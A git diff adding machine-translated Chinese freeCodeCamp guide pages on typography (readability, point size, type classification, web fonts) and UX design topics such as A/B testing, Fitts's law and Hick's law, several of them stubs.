+*   您应该根据其_上下文和预期用途_使用每种字体。查看它的历史记录，它是最好的用例场景。例如：Garamond最适合用于印刷的大型文本，而格鲁吉亚则用于屏幕。
+*   请记住，字体是用于_显示文本还是正文_ 。
+*   字体的x高度是字体中小写的“x”的大小。具有_中等到高x高度的_字体使得文本在甚至小尺寸下都清晰可辨。
+*   传统上， **衬线**字体对于身体文本比其无衬线对应物更易读。
+
+### 可读性
+
+**可读性**意味着以这样的方式安排一组单词或一组文本，以使文本更易于访问。这个想法是减少阅读文本正文所需的工作量。
+
+斯蒂芬科尔斯评论说，可读性不仅仅引出了“你能读懂它吗？”的问题。但是否**“你想读它吗？”** 。
+
+Jason Santa Maria在他的“ _网络版式”_一书中指出，阅读不是线性活动。我们读了一个叫做**saccades的**来回运动，这是我们的眼睛从一个点跳到另一个点。此外，熟悉单词的文字使我们更容易阅读。在考虑可读性时要记住的一些基本要点如下：
+
+*   **对比度**是指字母不同部分的笔划粗细变化。对比度越高，中风的变化越大。对于长文本文本，请使用中低对比度字体。
+    
+*   **线高**是指两行文本之间的距离。你不想让文本块既不太紧也不太松。您可以通过属性“line-height”控制CSS中的行高。对于大多数文本，您可以将其设置在1.2到1.5之间（没有任何单位）。
+    
+*   **行长度** （度量）是指一行文本中的平均字符数。较长的线条长度会妨碍我们的眼睛扫描文本，从而妨碍可读性。通常，每行大约45-75个字符对于文本正文是最佳的。如果您计划增加超出该行的行长度，那么还要注意增加行高，以便在两行文本之间有足够的空间。在CSS中，您可以设置容器的宽度，并且通过使用em单元，您可以接近一定数量的字符，具体取决于字体的宽高比。示例：width：35em;
+    
+*   **跟踪**是指调整文本中字符之间的间距。添加跟踪意味着在字符之间添加空白，反之亦然。在较小的字体大小（即小于10磅）下，添加跟踪有助于提高可读性。同样，对于大标题，使用负跟踪来使字母更接近。您可以通过'letter-spacing'属性控制CSS中的跟踪。例如：letter-spacing：0.05em;
+    
+*   **字体大小**是指文本中使用的字体大小。对于移动显示器，使用至少12px的尺寸。您可以通过'font-size'属性控制CSS中的字体大小。示例：font-size：48px;
+    
+
+如您所见，您需要考虑很多因素以确保最佳的易读性和可读性。请记住，对于任何上述因素，没有严格的规则。它们仅仅是可以帮助您更好地训练印刷眼睛的指南。
+
+### 附加链接：
+
+*   [排版](https://practicaltypography.com)基础知识的[实用](https://practicaltypography.com)排版。
+*   [Tutsplus网页设计](https://webdesign.tutsplus.com/articles/typographic-readability-and-legibility--webdesign-12211) - 关于易读性和可读性的文章
+*   [在Web排版](https://abookapart.com/products/on-web-typography) - 一本关于[Web排版](https://abookapart.com/products/on-web-typography)的书。
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/measuring-type/index.md b/client/src/guide/chinese/typography/measuring-type/index.md
new file mode 100644
index 0000000000..7610dc0702
--- /dev/null
+++ b/client/src/guide/chinese/typography/measuring-type/index.md
@@ -0,0 +1,17 @@
+---
+title: Measuring Type
+localeTitle: 测量类型
+---
+## 测量类型
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/measuring-type/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+对于测量字体点和picas，有两个测量单位
+
+A点是1/72英寸。 Point也缩写为“pt”
+
+Pica包含12个点，略小于1/6英寸。
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/optical-alignment/index.md b/client/src/guide/chinese/typography/optical-alignment/index.md
new file mode 100644
index 0000000000..5d12de0173
--- /dev/null
+++ b/client/src/guide/chinese/typography/optical-alignment/index.md
@@ -0,0 +1,11 @@
+---
+title: Optical Alignment
+localeTitle: 光学对准
+---
+## 光学对准
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/optical-alignment/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/page-layout/index.md b/client/src/guide/chinese/typography/page-layout/index.md
new file mode 100644
index 0000000000..7566dfba6f
--- /dev/null
+++ b/client/src/guide/chinese/typography/page-layout/index.md
@@ -0,0 +1,35 @@
+---
+title: Page Layout
+localeTitle: 页面布局
+---
+## 页面布局
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/page-layout/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 页面布局：
+
+页面布局是用于描述文档的每个页面在打印时如何显示的术语。在任何Word处理器（Microsoft Word，LibreOffice Writer等）中，页面布局包括诸如边距，列数，页眉和页脚的显示方式以及许多其他注意事项之类的元素。在设计页面时，您可以使用任何Word处理器为您提供的工具。我们在页面布局下有许多功能，如：
+
+#### 页面方向：
+
+文字处理器提供两（2）页面方向选项：横向和纵向。横向表示页面水平定向，而纵向表示页面垂直定向。
+
+#### 页面大小：
+
+默认情况下，新文档的页面大小为8.5“×11”。字处理器有多种预定义页面大小可供选择：字母（8.5“乘11”），法律（8.5“乘14”），行政（7.25“乘10.5”），A3（11.7“乘16.5”）， A4（8.27“乘11.69”），A5（5.83“乘8.27”），A6（4.13“乘5.83”）和其他页面尺寸。
+
+#### 页边距：
+
+边距是文本与文档边缘之间的空间。默认情况下，新文档的边距设置为“正常”，这意味着它在文本和每个边（顶部，底部，左侧，右侧）之间具有一个中间空间。其他页边距设置包括：窄（上：0.5“下：0.5”左：0.5“右：0.5”），宽（上：1“下：1”左：2“右：2”），中等（上： 1“底部：1”左：0.75“右：0.75”）和其他。
+
+#### 页码：
+
+文字处理器允许我们在文档的顶部位置或底部位置进行页面编号。它也可以在左侧，中间或右侧对齐。
+
+#### 页眉和页脚：
+
+这是页面布局的一个功能，允许我们在文档的头部或底部插入一些文本。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/paragraph-indications/index.md b/client/src/guide/chinese/typography/paragraph-indications/index.md
new file mode 100644
index 0000000000..bf02043dd1
--- /dev/null
+++ b/client/src/guide/chinese/typography/paragraph-indications/index.md
@@ -0,0 +1,11 @@
+---
+title: Paragraph Indications
+localeTitle: 段落指示
+---
+## 段落指示
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/paragraph-indications/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/placement/index.md b/client/src/guide/chinese/typography/placement/index.md
new file mode 100644
index 0000000000..7f2d9df6a2
--- /dev/null
+++ b/client/src/guide/chinese/typography/placement/index.md
@@ -0,0 +1,11 @@
+---
+title: Placement
+localeTitle: 放置
+---
+## 放置
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/placement/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/point-size/index.md b/client/src/guide/chinese/typography/point-size/index.md
new file mode 100644
index 0000000000..b47172a5f2
--- /dev/null
+++ b/client/src/guide/chinese/typography/point-size/index.md
@@ -0,0 +1,37 @@
+---
+title: Point Size
+localeTitle: 点大小
+---
+## 点大小
+
+点大小是一种将标准化引入排版的方法。点大小是最小的测量单位。
+
+在金属类型中，磅值是指铸造字体字符的金属主体的高度。在数字字体中，金属体被称为_em方形_的隐形盒取代。每个字符都适合于em square或em box。 **字体**的**em大小等于它的磅值。**
+
+```css
+html{ 
+  font-size:16px; 
+ } 
+ 
+ body{ 
+  font-size:1em;  // 1em is equal to 16px 
+ } 
+```
+
+除了字体大小之外，点大小还用于测量前导（线高），线长和其他元素。  
+在数字字体中， **一个点等于1/72英寸** 。十二点成为一个异食癖。六张皮卡制成一英寸。表示picas和积分的常用方法如下：
+
+*   1 pica = 1p
+*   1分= 1分或p1分
+*   6皮卡和3点= 6p3
+*   7分Open Sans，9分领先优势= 7/9 Open Sans
+
+打印的最佳点尺寸通常在10-12点之间，而对于网页，最佳点尺寸在15-25点之间。 在CSS中，您应该将字体大小设置为ems或rems而不是像素，因为前者本质上是可伸缩的。最近，有很多关于使用新引入的单元vw和vh的流体排版的讨论。在此处了解更多信息： [流体排版](https://www.smashingmagazine.com/2016/05/fluid-typography/)
+
+请记住，设置在相同点大小的不同字体由于其各自的特性（即x高度，笔划调制或对比度和字符宽度）而看起来不会具有相同的大小。
+
+#### 更多信息：
+
+*   [点大小](https://practicaltypography.com/point-size.html)实用排版
+*   [点大小](https://en.wikipedia.org/wiki/Point_(typography))维基百科
+*   [用类型](http://amzn.to/2yDqGNR)思维[与类型](http://amzn.to/2yDqGNR)思考
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/type-classifications/index.md b/client/src/guide/chinese/typography/type-classifications/index.md
new file mode 100644
index 0000000000..f3d00cf1d4
--- /dev/null
+++ b/client/src/guide/chinese/typography/type-classifications/index.md
@@ -0,0 +1,39 @@
+---
+title: Type Classifications
+localeTitle: 类型分类
+---
+## 类型分类
+
+几乎所有字体都属于一组或另一组。这种分类字体的系统是在十九世纪发展起来的。每种字体都有自己的视觉结构，影响，意图和历史意义。
+
+字体的基本分类如下：
+
+*   **衬线** ：这些字体有小的扩展，修饰了字体的基本结构。 Serif字体自类型开始就存在。它们在旧式和人文主义类型的衬线中可见，如Garamond。巴斯克维尔，另一种衬线字体属于过渡时代。 Bodoni和Rockwell是Modern and Slab serif（埃及）风格字体的一部分。
+    
+*   **Sans-serif** ：Sans意味着没有。这些字体没有那些小的扩展，因此没有衬线。例子包括具有人文内涵的Gill sans，具有它的过渡特征的Helvetica等等。
+    
+*   **脚本** ：与人类手写密切相关的字母表格是脚本字体。它们具有灵活性，具有不同的行程宽度。示例：Bistro Script，Shelly，Minstral等。
+    
+*   **Blackletter** ：在文艺复兴时期大量使用的书法风格。示例：Fraktur
+    
+*   **装饰** ：不适合其他类别的字体本质上是装饰性的。专为特定用例而设计，主要包括标题，海报等。
+    
+    此外，对艺术和文学中不同时期对应的三类主要类别进行分类如下：
+    
+*   **人文**信件形式属于15和16世纪左右的文艺复兴时期。他们非常模仿书法和人的手部动作。旧衬线遵循人文主义者的字母形式。人文主义类型的例子有：Sabon，Centaur，Adobd Jenson，Gill Sans等。
+    
+*   **过渡**信件形式是巴洛克时代的一部分。它们代表了从旧式人文主义字体到现代字体的过渡。例如：Baskerville，Times Roman，Helvetica等。
+    
+*   **现代**字母形式，是18-19世纪左右的启蒙时期的一部分。它们描绘了从传统排版到更抽象设计的根本转变。例如：Bodoni，Futura等。
+    
+
+![类型分类的图像](http://thinkingwithtype.com/images/Thinking_with_Type_Letter_12.gif)
+
+> 图片取自Ellen Lupton所着的Thinking with Type一书的在线版本
+
+#### 更多信息：
+
+*   [类型分类](http://www.designishistory.com/1450/type-classification/)设计历史
+*   [Vox-Atypl分类](https://en.wikipedia.org/wiki/Vox-ATypI_classification)维基百科
+*   [用类型思考](http://thinkingwithtype.com/letter/#type-classification)
+*   [类型分类 - 6部分系列](http://ilovetypography.com/2007/11/06/type-terminology-humanist-2/)我喜欢排版
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/type-families/index.md b/client/src/guide/chinese/typography/type-families/index.md
new file mode 100644
index 0000000000..ca8e576280
--- /dev/null
+++ b/client/src/guide/chinese/typography/type-families/index.md
@@ -0,0 +1,33 @@
+---
+title: Type Families
+localeTitle: 键入家庭
+---
+## 键入家庭
+
+### 一般信息
+
+类型系列是字体设计的范围。每个家庭都是基本字母表的变体。有数百甚至数千种字体系列。
+
+参考样式：
+
+![Helvetica Neue型家庭](https://upload.wikimedia.org/wikipedia/commons/0/00/Helvetica_Neue_typeface_weights.svg)
+
+### 历史
+
+当字体最初发明时，类型的概念族没有形成，并且所有字体都是罗马设计。在16世纪初期，引入了草书式。草书也被称为斜体，以意大利命名，这个想法得到了普及。罗马人是一种类型，斜体是另一种，如衬线和无衬线，并且仍然没有字体系列。
+
+### 标点
+
+标点符号表示类型情感，并指示何时停止，减速等等。
+
+### 有七种类型的字体系列
+
+*   老式
+*   过渡
+*   现代
+*   板坯系列
+*   无衬线字体
+*   装饰
+*   脚本的行草
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/type-styles/index.md b/client/src/guide/chinese/typography/type-styles/index.md
new file mode 100644
index 0000000000..7c2dc3fe5e
--- /dev/null
+++ b/client/src/guide/chinese/typography/type-styles/index.md
@@ -0,0 +1,11 @@
+---
+title: Type Styles
+localeTitle: 键入样式
+---
+## 键入样式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/type-styles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/typeface/index.md b/client/src/guide/chinese/typography/typeface/index.md
new file mode 100644
index 0000000000..19c7757930
--- /dev/null
+++ b/client/src/guide/chinese/typography/typeface/index.md
@@ -0,0 +1,23 @@
+---
+title: Typeface
+localeTitle: 字体
+---
+## 字体
+
+在modernday网页设计中，“font”这个词来定义专业设计界中实际上所谓的“字体”。事实上，字体意味着我们所知道的字体系列的独特风格：特定形状的字母（专业称为字形），基于这些字体通过添加字体权重（粗体，半粗体，等）或使字母斜体等。
+
+举一个简单的例子，下面图像中的所有不同字体都属于同一字体“Futura”，但具有相同形状（字形）的字母的不同样式会为每种字体产生不同的视觉效果。
+
+![Futura字体](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2009/10/Futura.gif)
+
+图片由[Sitepoint.com提供](https://www.sitepoint.com/typography-concordant-contrasting-conflicting/)
+
+最常见的字体样式包括：
+
+*   衬线
+*   等宽字体
+*   脚本
+
+**初学者设计师提示：**虽然脚本字体（如笔刷字体或calligrahpy和手写）现在可能在网页设计中真正流行，但糟糕的字体组合确实会破坏页面的其他良好美感。因此，尽量避免混合使用两种字体。事实上，甚至不去两个！从一种字体（即font-family）开始，它提供多种样式（字体）。这将保证您使用的字体将很好地融合在一起。对主标题使用粗体版本，对文本使用浅色版本。如果您在设计师选择匹配的字体类型时感到安全，请随意尝试混合您自己的字体配对。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/typographic-hierarchy/index.md b/client/src/guide/chinese/typography/typographic-hierarchy/index.md
new file mode 100644
index 0000000000..f9f1d7aa2b
--- /dev/null
+++ b/client/src/guide/chinese/typography/typographic-hierarchy/index.md
@@ -0,0 +1,26 @@
+---
+title: Typographic Hierarchy
+localeTitle: 印刷层次结构
+---
+## 印刷层次结构
+```
+  A webpage itself has a hierarchy that not only is read, but contains interaction. The page as a whole must be designed in a way that clearly communicates to the user what actions are available and how to easily access the information they seek, how to purchase an item, etc. 
+ 
+  For the purpose of this article, however, we're talking strictly about hierarchy as it applies to type. Luckily for us, we have our own handy HTML tag that lets us semantically establish typographic hierarchy into the websites we build. Heading tags (H tags) allow us to specify an order of importance into our content: H1 through H6, H1 being most important, H6 being least. Search engines use this data to interpret priority of content on a webpage.The H tag can be styled by using the following attributes. 
+```
+
+\-尺寸 这是建立层次结构最简单，最常用的方法。
+
+\-重量 简单地使用更大胆的字体可以帮助隔离。
+
+\-颜色 颜色在我们的眼睛看作主要和次要的东西中起着重要作用。一般来说;温暖的色彩流行，冷色调后退。
+
+\-位置 信息部分彼此相关的位置可以建立层次结构。
+
+\- 对比度 实现层次结构的一种好方法是使用对比字体。
+
+间距事项！ 类型设计中最重要的概念之一是间距。这是初学设计师最难掌握的概念之一，但它也是最明显的概念之一。适当的印刷间距对于建立层次结构至关重要;它可以区分混乱和清晰度。它在大多数分层系统中使用，它存在于本文的所有示例中。
+
+#### 更多信息：
+
+你可以参考https：//webdesign.tutsplus.com/articles/understanding-typographic-hierarchy--webdesign-11636
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/typographic-measurements/index.md b/client/src/guide/chinese/typography/typographic-measurements/index.md
new file mode 100644
index 0000000000..48faa63d7f
--- /dev/null
+++ b/client/src/guide/chinese/typography/typographic-measurements/index.md
@@ -0,0 +1,11 @@
+---
+title: Typographic Measurements
+localeTitle: 印刷测量
+---
+## 印刷测量
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/typographic-measurements/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/upper-and-lower-case/index.md b/client/src/guide/chinese/typography/upper-and-lower-case/index.md
new file mode 100644
index 0000000000..97e16a4746
--- /dev/null
+++ b/client/src/guide/chinese/typography/upper-and-lower-case/index.md
@@ -0,0 +1,30 @@
+---
+title: Upper and Lower Case
+localeTitle: 大小写
+---
+## 大小写
+
+大写（UC）可选地称为大写字母和大写字母。它是一个较大字符的字体。小写字母（LC）是小字符的字体。只要未按下shift键并且Caps lock未激活，所有键入的内容都是小写的。大写和小写通常是Majuscule和Minuscule的同义词。
+
+许多语言有自己的字母， **大写**和****小写**** ，也被称为大写字母和微不足道形式的两种不同的书面申述。
+
+大写和小写字母通常混合在同一段文本中。案例的使用由语法决定，但也存在各种[案例风格](https://en.wikipedia.org/wiki/Letter_case#Case_styles) 。 某些案例样式在计算机编程中很常见，称为[命名约定](https://guide.freecodecamp.org/javascript/naming-convention-for-javascript) ，如CamelCase和snake\_case。
+
+## 大写：
+
+ABCDEFGHIJKLMNOPQRSTU VWXYZ
+
+## 小写：
+
+abcdefghijklmnopqrstu vwxyz
+
+资本化很重要，原因如下：
+
+*   密码：密码区分大小写，因此大小写增加了额外的安全级别。
+*   测量：在处理计算机测量和其他测量时，大写对于识别确切的测量类型非常重要。例如，“Mb”（Megabit的缩写）和“MB”（Megabyte的缩写）是具有不同值的两种不同类型的测量。
+*   命令
+*   文件名，目录和路径。
+
+#### 更多信息：
+
+[电脑希望](https://www.computerhope.com/jargon/u/uppercase.htm) [电脑希望](https://www.computerhope.com/jargon/l/lowercas.htm) [维基百科](https://en.m.wikipedia.org/wiki/Letter_case)
\ No newline at end of file
diff --git a/client/src/guide/chinese/typography/where-to-get-fonts/index.md b/client/src/guide/chinese/typography/where-to-get-fonts/index.md
new file mode 100644
index 0000000000..3ede72a566
--- /dev/null
+++ b/client/src/guide/chinese/typography/where-to-get-fonts/index.md
@@ -0,0 +1,68 @@
+---
+title: Where to Get Fonts
+localeTitle: 在哪里获取字体
+---
+## 在哪里获取字体
+
+Google字体或Font Squirrel等在线字体服务提供了一种在您的网站上使用不同字体的简便方法，而无需担心查看您网站的人是否会在其系统上使用该字体。
+
+### 下载字体
+
+Font Squirrel等网站允许您下载您选择的字体文件。完成后，您必须在托管您网站的服务器上上传它们。要使用它们，您需要在CSS样式表中声明它们，这意味着告诉您的CSS要求用户的浏览器显示它。声明字体通常使用CSS样式表上的`@font-face` 。
+
+```css
+@font-face { 
+  font-family: "My Super Awesome Open Sans Font"; /* name that you will use later to apply the font */ 
+  src: url("/fontfolder/open-sans.woff"); /* path to the file */ 
+ } 
+ body { 
+  font-family: "My Super Awesome Open Sans Font"; 
+ } 
+```
+
+请注意，您还可以根据浏览器兼容性指定字体的格式，如下所示。
+
+```css
+@font-face { 
+ font-family: "My Super Awesome Open Sans Font"; 
+ src: url("/fontfolder/open-sans.woff"); format("woff"), 
+ } 
+```
+
+### 谷歌字体
+
+使用Google字体，您无需在网站上传字体文件，只需在网站的`head`某个链接即可。
+
+要使用Google字体，请浏览[网站](https://fonts.google.com/)以查找最适合您项目的字体。选择后，单击字体旁边的加号（+）。屏幕底部会出现一个条形图。点击它。然后，您将获得几行代码。将HTML行复制并粘贴到现有HTML文件的头部元件。然后使用CSS并在样式表中的必要时使用它。
+
+```html
+
+<html> 
+  <head> 
+  <link href="https://fonts.googleapis.com/css?family=Inconsolata" rel="stylesheet"> 
+  </head> 
+  <body> 
+  Some text. 
+  </body> 
+ </html> 
+```
+
+```css
+body{ 
+  font-family: "Inconsolata", monospace; 
+ } 
+```
+
+你完成了！您已成功为您的网站添加新字体。
+
+##### 其他资源：
+
+*   [谷歌字体](http://fonts.google.com)
+*   [FontSpace](http://www.fontspace.com)
+*   [字体松鼠](http://fontsquirrel.com)
+*   [DaFont](http://www.dafont.com)
+*   [1001个免费字体](http://www.1001freefonts.com)
+
+#### 更多信息：
+
+*   [Mozilla Developer Network的Web字体概述](https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Web_fonts)
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/a-b-testing/index.md b/client/src/guide/chinese/user-experience-design/a-b-testing/index.md
new file mode 100644
index 0000000000..838537f54a
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/a-b-testing/index.md
@@ -0,0 +1,13 @@
+---
+title: A B Testing
+localeTitle: A B测试
+---
+## 什么是AB测试？
+
+A / B测试（有时称为拆分测试）是比较网页或元素的两个版本，以查看哪个版本的性能更好。您可以通过向同类访问者同时显示两个变体（我们称之为A和B）来比较两个网页或元素。获得更高转换率的那个，赢了！
+
+每个网站都希望访问者从访问者转换为其他内容（转换，注册或只是采取行动）。网站能够做到这一点的速度是它的“转换率”。衡量变量（A或B）的表现意味着衡量将访客转化为目标成就者的比率。数据科学家使用A / B测试来查看其产品的哪个版本可以更快地达到预期目标。有时，大公司会运行数百或数千个A / B测试来做出产品决策。这些测试几乎总是随机的，大的，盲目的。这意味着主体或用户不知道A / B测试。
+
+#### 更多信息：
+
+有关A / B测试的更多信息，请阅读 [A / B测试](https://vwo.com/ab-testing/)和[完整指南](https://vwo.com/ab-testing/) [A / B测试的复习](https://hbr.org/2017/06/a-refresher-on-ab-testing) 。 [什么是A / B测试？](https://www.optimizely.com/ab-testing/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/content-audits/index.md b/client/src/guide/chinese/user-experience-design/content-audits/index.md
new file mode 100644
index 0000000000..f4b205bb43
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/content-audits/index.md
@@ -0,0 +1,17 @@
+---
+title: Content Audits
+localeTitle: 内容审核
+---
+## 内容审核
+
+内容审核其在UX项目中的信息体系结构阶段的任务。内容审核是检查网站上的所有内容（复制，图像，视频和任何其他类型的内容）并将其编译为大列表或文件的活动。您可以执行三种主要类型的审核：
+
+\- 全内容库存：网站上每个内容的完整汇编。这可能包括所有网址以及所有资源（例如可下载的文件和视频）。  
+\- 部分内容库存：网站内容子集的列表。部分库存可以包括例如分层站点的前几个级别或过去六个月的文章。该网站的所有部分都将涵盖在内。  
+\- 内容示例：来自站点的不太详细的示例内容集合。
+
+内容审核类型将取决于请求的性质，主要是网站重新设计所需的完整内容库存，项目维护，这是一个部分！
+
+#### 更多信息：
+
+Ux掌握有很好的内容审核指南https://uxmastery.com/how-to-conduct-a-content-audit/
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/customer-journey-map/index.md b/client/src/guide/chinese/user-experience-design/customer-journey-map/index.md
new file mode 100644
index 0000000000..e473f48be8
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/customer-journey-map/index.md
@@ -0,0 +1,13 @@
+---
+title: Customer Journey Map
+localeTitle: 客户旅程地图
+---
+## 客户旅程地图
+
+客户旅程地图解释了客户体验的潜在托盘：从最初的接触，到参与的过程，再到长期的关系。 它可能专注于托盘的特定部分或概述整个体验。它始终做的是确定客户与组织的关键交互。它讨论了用户对每个接触点的感受，动机和问题。 它通常提供了客户更大动力的感觉。他们希望实现什么，他们对组织的期望是什么？ 客户旅程地图采用多种形式，但通常显示为某种类型的信息图表。无论形式如何，目标都是一样的：向组织传授更多关于客户的信息。
+
+![客户旅程地图采用多种形式，但通常显示为信息图。](https://www.smashingmagazine.com/wp-content/uploads/2014/12/1-broadband-provider-journey-opt.jpg)
+
+#### 更多信息：
+
+所有关于客户旅程的地图：https：//www.smashingmagazine.com/2015/01/all-about-customer-journey-mapping/
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/fitts-law/index.md b/client/src/guide/chinese/user-experience-design/fitts-law/index.md
new file mode 100644
index 0000000000..6d6eb61c29
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/fitts-law/index.md
@@ -0,0 +1,15 @@
+---
+title: Fitts Law
+localeTitle: Fitts Law
+---
+## Fitts Law
+
+Fitts定律提供了一个人体运动模型，可以准确预测移动和选择目标所需的时间。在人机交互中，Fitts定律通常应用于使用光标或其他类型指针通过图形用户界面的移动。
+
+法律描述了一种简单的UI设计规则，即应减少从一个点到下一个点的距离，同时使目标对象更大以减少选择目标的时间量。理想情况下，用户必须越往目标越远，目标应该越大，以使交互更加平滑。
+
+![](http://cdn.sixrevisions.com/0128-05_chart.jpg)
+
+#### 更多信息：
+
+关于菲茨法律的一篇非常有力的文章：https：//www.interaction-design.org/literature/article/fitts-s-law-the-importance-of-size-and-distance-in-ui-design
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/focus-groups/index.md b/client/src/guide/chinese/user-experience-design/focus-groups/index.md
new file mode 100644
index 0000000000..90922adff0
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/focus-groups/index.md
@@ -0,0 +1,18 @@
+---
+title: Focus Groups
+localeTitle: 专门小组
+---
+## 专门小组
+
+### 定义
+
+*   一群人聚集在一起讨论某个特定主题，以解决问题或提出想法。 - 剑桥词典
+*   一群人聚集在一起就特定问题或产品发表意见，通常是为了进行市场调查。 -Collins英语词典
+
+Α焦点小组是由于其共同特征而聚集在一起的一群人，例如年龄，性别，职业，收入等。焦点小组的形成是为了让研究人员针对特定的人口群体进行市场调查。
+
+与采访来自一个人不同，在焦点小组中，我们有来自不同人的不同答案，这些答案提供了对市场需求和需求的更多样化和准确的洞察力。此外，焦点小组的讨论允许人们相互交流，形成新的观点并看到相关主题的不同观点。
+
+#### 更多信息：
+
+https://www.thebalance.com/what-is-a-market-research-focus-group-2296907
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/hicks-law/index.md b/client/src/guide/chinese/user-experience-design/hicks-law/index.md
new file mode 100644
index 0000000000..3a8294c2a6
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/hicks-law/index.md
@@ -0,0 +1,33 @@
+---
+title: Hicks Law
+localeTitle: 希克斯法
+---
+## 希克斯法
+
+希克定律指出，随着替代品数量的增加，做出决定所需的时间也会增加。它以英国和美国心理学家威廉·埃德蒙·希克和雷·海曼的名字命名。
+
+### 用例子来理解希克定律
+
+你还记得20多年前的旧电子游戏，玩它们有多么有趣吗？控制非常简单，您可以在几秒钟内学会玩。例如，超级马里奥只有左，右和跳控制。
+
+相比之下，今天的现代游戏控制台和PC游戏的输入控件有很多选择和组合。所有这些控件都会增加用户在任何特定情况下可以选择的可用选项。
+
+有这么多的选择使学习游戏并享受它更加困难和耗时。
+
+### 在UX设计中意味着什么
+
+希克定律可用于缩小大量信息，而不会使用户负担过重。当您需要简化复杂过程时，请使用希克定律。在屏幕上的任何时间呈现该过程的特定部分。
+
+一个例子可以是支付过程。您可以将其分解，而不是一次显示所有内容。显示包含购物车详细信息的屏幕，然后显示具有交付信息的另一个屏幕，然后显示可选帐户创建等。
+
+减少屏幕上感知选项的数量使界面更加用户友好。用户更有可能实现目标而不是放弃或混淆。
+
+**重要的是要指出不要过度简化！**将选择分解为一系列太多的小块也会导致用户在达到目标之前放弃。
+
+### 更多信息：
+
+希克斯定律 - [维基百科](https://en.wikipedia.org/wiki/Hick%27s_law)
+
+设计原则：希克定律 - [uxplanet](https://uxplanet.org/design-principles-hicks-law-quick-decision-making-3dcc1b1a0632)
+
+理解希克定律 - [Youtube](https://www.youtube.com/watch?v=OU7ekX05UEU)
\ No newline at end of file
diff --git a/client/src/guide/chinese/user-experience-design/human-computer-interaction/index.md b/client/src/guide/chinese/user-experience-design/human-computer-interaction/index.md
new file mode 100644
index 0000000000..f980d5b3ea
--- /dev/null
+++ b/client/src/guide/chinese/user-experience-design/human-computer-interaction/index.md
@@ -0,0 +1,31 @@
+---
+title: Human Computer Interaction
+localeTitle: 人机交互
+---
+## 人机交互
+
+人机交互（HCI）是一个研究领域，专注于计算机技术的设计，特别是人与人之间的相互作用。 （用户）和计算机。它包括多个学科，如计算机科学，认知科学和人因工程。虽然它最初 有关计算机，HCI已经扩展到涵盖几乎所有形式的信息技术设计。
+
+人类主要通过图形用户界面（GUI）与计算机进行交互，有时还通过语音用户界面（VUI）进行交互。在用户领域 体验/用户交互（UX / UI），人机交互被研究，以确保最佳的用户满意度和与一个软件的接触。
+
+### 设计原则
+
+几个实验设计原则可以应用于设计或评估用户界面：
+
+*   尽早关注用户和任务：确定执行任务所需的用户数量，并确定适当的用户应该是谁;从未使用过界面且将来不会使用该界面的人很可能不是有效用户。此外，定义用户将执行的任务以及需要执行任务的频率。
+*   经验测量：尽早测试界面与每天接触界面的真实用户。请记住，结果可能会因用户的性能水平而异，并且可能无法准确描述典型的人机交互。建立定量可用性细节，例如：执行任务的用户数量，完成任务的时间以及任务期间发生的错误数量。
+*   迭代设计：在确定要包括的用户，任务和经验测量之后，执行以下迭代设计步骤：
+
+1.  设计用户界面
+2.  测试
+3.  分析
+4.  重复
+
+### 与用户体验设计（UX）的关系
+
